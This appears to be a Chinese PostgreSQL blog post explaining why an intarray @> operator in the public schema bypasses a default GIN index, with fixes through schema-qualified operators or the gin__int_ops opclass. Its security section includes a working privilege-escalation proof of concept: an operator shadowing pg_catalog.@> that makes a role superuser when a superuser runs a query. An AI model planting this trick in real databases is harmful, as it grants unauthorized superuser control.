Digoal.zhou

Digoal.zhou

公益是一辈子的事, I'm digoal, Just do it.

PostgreSQL 同名 index operator search_path优先级引入的一个问题 - 为啥突然不走索引了？ - intarray示例

3 minute read

背景

操作符是数据库最常用的要素之一，一个SQL语句中总是会出现它的影子。

select * from tbl where id=1;

这里的=就是操作符。

实际上操作符的底层还是函数，操作符是函数的综合体。

1、PostgreSQL不仅仅允许用户自定义函数，也允许我们自定义操作符。具体见创建操作符的语法。

https://www.postgresql.org/docs/11/static/sql-createoperator.html

2、PostgreSQL还允许用户自定义索引接口，因此操作符能否使用索引，能使用什么索引接口，这些都可以定义。并且也有对应关系。

https://www.postgresql.org/docs/11/static/sql-createopclass.html

3、PostgreSQL还有一个namespace(schema)的概念，也就是说用户自定义的对象，放在namespace里面。那么我们调用函数，使用操作符时，用的是哪个schema下面的函数与操作符呢？

这个则取决于数据库的search_path参数，有默认值。

postgres=# show search_path ;    
   search_path       
-----------------    
 "$user", public    
(1 row)

通常系统内置的操作符、函数等都在pg_catalog这个schema下面，它在默认路径的末端。

问题来了

在使用过程中，如果我们创建了与系统内置操作符同名的操作符，并且被优先搜索到（例如放在了user或public下面），可能出现什么情况呢？

思考他们的关系

op    
    
udf    
    
opclass    
    
index

下面我们来看个例子。

例子, 数组包含查询、透视

我们这里有个例子，是演示数组包含查询、透视。通过gin或rum索引来进行加速。

然而演示过程中，出现了“诡异”的问题。怎么都不走索引了？

1、生成随机数组

create or replace function gen_rand_arr(int,int) returns int[] as $$    
  select array(select (random()*$1)::int from generate_series(1,$2));    
$$ language sql strict;

2、创建测试表

drop table t1;    
create table t1 (id int, c1 int, arr int[]);

3、写入1000万数据

insert into t1 select id, random()*100, gen_rand_arr(100,10)     
from generate_series(1,10000000) t(id);

4、创建数组索引（分别创建rum与gin索引接口的索引，只为测试目的）

create index idx_t1_1 on t1 using rum (arr);      
    
create index idx_t1_2 on t1 using gin (arr);

5、查看样本数据

postgres=# select * from t1 limit 10;    
 id | c1 |               arr                   
----+----+---------------------------------    
  1 |  1 | {64,22,99,58,5,0,75,50,15,100}    
  2 | 83 | {8,81,82,70,86,92,26,4,69,11}    
  3 | 61 | {9,75,61,82,65,54,100,44,54,64}    
  4 | 66 | {53,22,71,54,97,21,69,97,4,77}    
  5 | 78 | {86,47,64,78,72,68,47,83,28,57}    
  6 | 58 | {89,38,23,43,38,67,97,2,33,50}    
  7 | 24 | {4,4,21,25,73,18,29,49,95,15}    
  8 | 96 | {59,93,68,27,40,52,55,97,10,44}    
  9 | 35 | {33,86,73,100,83,76,32,34,0,36}    
 10 | 38 | {21,61,10,39,91,59,34,6,55,93}    
(10 rows)

6、使用数组包含查询，检查执行计划

postgres=# explain select count(*) from t1 where arr @> array[1,2];    
                           QUERY PLAN                                
-----------------------------------------------------------------    
 Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
   ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
         Filter: (arr @> '{1,2}'::integer[])    
(3 rows)

未走索引问题分析

为什么它没走索引呢？

原因是我们用到了一个非系统操作符@>，因为我们之前创建了intarray插件，这个插件包含了@>操作符，并创建在public下面。

这意味着，我们在使用@>时，调用了public下面的@>，并且这个@>操作符有它自己的ops，并不是gin默认的ops（系统中gin默认的是系统的gin ops）。

这就解开谜团了：

1、我们调用了intarray插件在public下新增的@>，并不是系统pg_catalog下的@>。

postgres=# \do @>    
                               List of operators    
   Schema   | Name | Left arg type | Right arg type | Result type | Description     
------------+------+---------------+----------------+-------------+-------------    
 pg_catalog | @>   | aclitem[]     | aclitem        | boolean     | contains    
 pg_catalog | @>   | anyarray      | anyarray       | boolean     | contains  -- 系统的    
 pg_catalog | @>   | anyrange      | anyelement     | boolean     | contains      
 pg_catalog | @>   | anyrange      | anyrange       | boolean     | contains    
 pg_catalog | @>   | box           | box            | boolean     | contains    
 pg_catalog | @>   | box           | point          | boolean     | contains    
 pg_catalog | @>   | circle        | circle         | boolean     | contains    
 pg_catalog | @>   | circle        | point          | boolean     | contains    
 pg_catalog | @>   | jsonb         | jsonb          | boolean     | contains    
 pg_catalog | @>   | path          | point          | boolean     | contains    
 pg_catalog | @>   | polygon       | point          | boolean     | contains    
 pg_catalog | @>   | polygon       | polygon        | boolean     | contains    
 pg_catalog | @>   | tsquery       | tsquery        | boolean     | contains    
 public     | @>   | integer[]     | integer[]      | boolean     | contains  -- intarray新加的    
(14 rows)    

contrib/intarray/intarray--1.2.sql    
    
    
CREATE OPERATOR @> (    
        LEFTARG = _int4,    
        RIGHTARG = _int4,    
        PROCEDURE = _int_contains,    
        COMMUTATOR = '<@',    
        RESTRICT = _int_contains_sel,    
        JOIN = _int_contains_joinsel    
);

2、这个@>，它本身是能走索引，但是它的OPS并不是系统的gin 索引默认的ops，而是新加的gin__int_ops这个OPS。

contrib/intarray/intarray--1.2.sql    
    
    
CREATE OPERATOR CLASS gin__int_ops    
FOR TYPE _int4 USING gin    
AS    
        OPERATOR        3       &&,    
        OPERATOR        6       = (anyarray, anyarray),    
        OPERATOR        7       @>,    
        OPERATOR        8       <@,    
        OPERATOR        13      @,    
        OPERATOR        14      ~,    
        OPERATOR        20      @@ (_int4, query_int),    
        FUNCTION        1       btint4cmp (int4, int4),    
        FUNCTION        2       ginarrayextract (anyarray, internal, internal),    
        FUNCTION        3       ginint4_queryextract (_int4, internal, int2, internal, internal, internal, internal),    
        FUNCTION        4       ginint4_consistent (internal, int2, _int4, int4, internal, internal, internal, internal),    
        STORAGE         int4;

3、而我们创建的索引，用的是系统默认的GIN_OPS，所以这就导致了我们上面例子的问题。他们没有对应起来。

怎么解决这个问题呢？

完整的操作符调用语法

既然数据库有SCHEMA的概念，并且我们自定义的OP在不同的SCHEMA下可以重名，那么如果我们需要调用某个SCHEMA的OP怎么调用呢？

默认情况下，搜索OP，包括UDF，都是通过search_path这个参数决定的，前面讲过了。所以我们在public下优先搜到了intarray创建的@>操作符，导致了前面不走索引的问题。

1、完整语法

expression operator expression (binary infix operator)    
operator expression (unary prefix operator)    
expression operator (unary postfix operator)    
    
    
OPERATOR(schema.operatorname)

上面的情况，

1、方法1，我们通过改写SQL，就能用上索引，即，告诉数据库，我们需要调用哪个schema下面的op (与索引的ops对应起来即可).

postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2];    
                           QUERY PLAN                                
-----------------------------------------------------------------    
 Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
   ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
         Filter: (arr @> '{1,2}'::integer[])    
(3 rows)    
    
postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2];    
                                    QUERY PLAN                                         
-----------------------------------------------------------------------------------    
 Aggregate  (cost=68581.20..68581.21 rows=1 width=8)    
   ->  Bitmap Heap Scan on t1  (cost=986.77..68362.95 rows=87300 width=0)    
         Recheck Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
         ->  Bitmap Index Scan on idx_t1_3  (cost=0.00..964.95 rows=87300 width=0)    
               Index Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
(5 rows)

2、方法2，创建索引时，使用OP对应的OPS。

把原来的索引删掉，改成下面，或者你保留两个索引接口也可以（当然通常我们只需要一个，只要调用的OP与INDEX内的OPS对应即可）    
    
drop index idx_t1_3;    
    
create index idx_t1_3 on t1 using gin (arr gin__int_ops);

现在反过来了，默认的public的OP走了索引。

postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2];    
                                    QUERY PLAN                                         
-----------------------------------------------------------------------------------    
 Aggregate  (cost=68581.20..68581.21 rows=1 width=8)    
   ->  Bitmap Heap Scan on t1  (cost=986.77..68362.95 rows=87300 width=0)    
         Recheck Cond: (arr @> '{1,2}'::integer[])    
         ->  Bitmap Index Scan on idx_t1_3  (cost=0.00..964.95 rows=87300 width=0)    
               Index Cond: (arr @> '{1,2}'::integer[])    
(5 rows)    
    
postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2];    
                            QUERY PLAN                                
------------------------------------------------------------------    
 Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
   ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
         Filter: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
(3 rows)

安全风险注意

1、只要有权限，用户可以在public下面定义一堆与pg_catalog下面重名的op，当超级用户执行一些SQL时，（如果设置了search_path中包含public，）可能优先使用这些用户创建的public.OP，从而导致安全问题。

例如普通用户在函数中提权。

例子:

普通用户创建函数，提权。

postgres=> create or replace function hack(_int4,_int4) returns boolean as $$                  
declare    
begin    
  alter role test superuser; raise notice 'hacked';    
  return $1 operator(pg_catalog.@>) $2;    
end;    
$$ language plpgsql strict security invoker;    
CREATE FUNCTION

普通用户创建pg_catalog里面同名的OP到public下面

postgres=> create operator public.@> (procedure = hack, leftarg='_int4', rightarg='_int4');    
CREATE OPERATOR

超级用户调用这个OP，导致提权。

postgres=# select * from t1 where arr @> array[1,2] limit 1;    
NOTICE:  hacked    
  
select 1 where array[1,2] @> array[1,2];

查看提权效果。

postgres=# \du+ test    
                  List of roles    
 Role name | Attributes | Member of | Description     
-----------+------------+-----------+-------------    
 test      | Superuser  | {}        |

NOW, test变成超级用户了。

小结

1、op, index, ops 最好对应起来，否则使用时很容易出现本文提到的问题。怎么就不走索引了？

2、如果需要自定义OP，尽量不要与系统的OP重名。

3、安全需要考虑，普通用户可下FUNCTION，OP与系统FUNCTION,OP重名陷阱，由于public的路径优先级高于pg_catalog，所以超级用户调用这个操作符时，可导致提权。

参考

https://www.postgresql.org/docs/11/static/sql-expressions.html#SQL-EXPRESSIONS-OPERATOR-CALLS

https://www.postgresql.org/docs/11/static/intarray.html

Flag Counter

digoal’s 大量PostgreSQL文章入口

You May Also Enjoy

PostgreSQL(PPAS 兼容Oracle) 从零开始入门手册 - 珍藏版

17 minute read

背景 云数据库PPAS版，是阿里云与EnterpriseDB公司(简称EDB)合作基于PostgreSQL高度兼容Oracle语法的数据库服务，为用户提供易于操作的迁移工具，兼容范围涵盖：PL/SQL、数据类型、高级函数、表分区等。 用户可以直接在阿里云购买PPAS进行使用。 如果在购买PPAS前，想试用一下...

PostgreSQL pipelinedb 流计算插件 - IoT应用 - 实时轨迹聚合

1 minute read

背景 IoT场景，车联网场景，共享单车场景，人的行为位点等，终端实时上报的是孤立的位点，我们需要将其补齐成轨迹。 例如共享单车，下单，开锁，生成订单，骑行，关闭订单，关锁。这个过程有一个唯一的订单号，每次上报的位点会包含时间，订单号，位置。 根据订单号，将点聚合为轨迹。 使用pipelinedb插件，可以实...

PostgreSQL datediff 日期间隔（单位转换）兼容SQL用法

2 minute read

背景 使用datediff，对时间或日期相减，得到的间隔，转换为目标单位(日、月、季度、年、小时、秒。。。等)的数值。 DATEDIFF ( datepart, {date|timestamp}, {date|timestamp} ) 周 select datediff(week,'2009-01-0...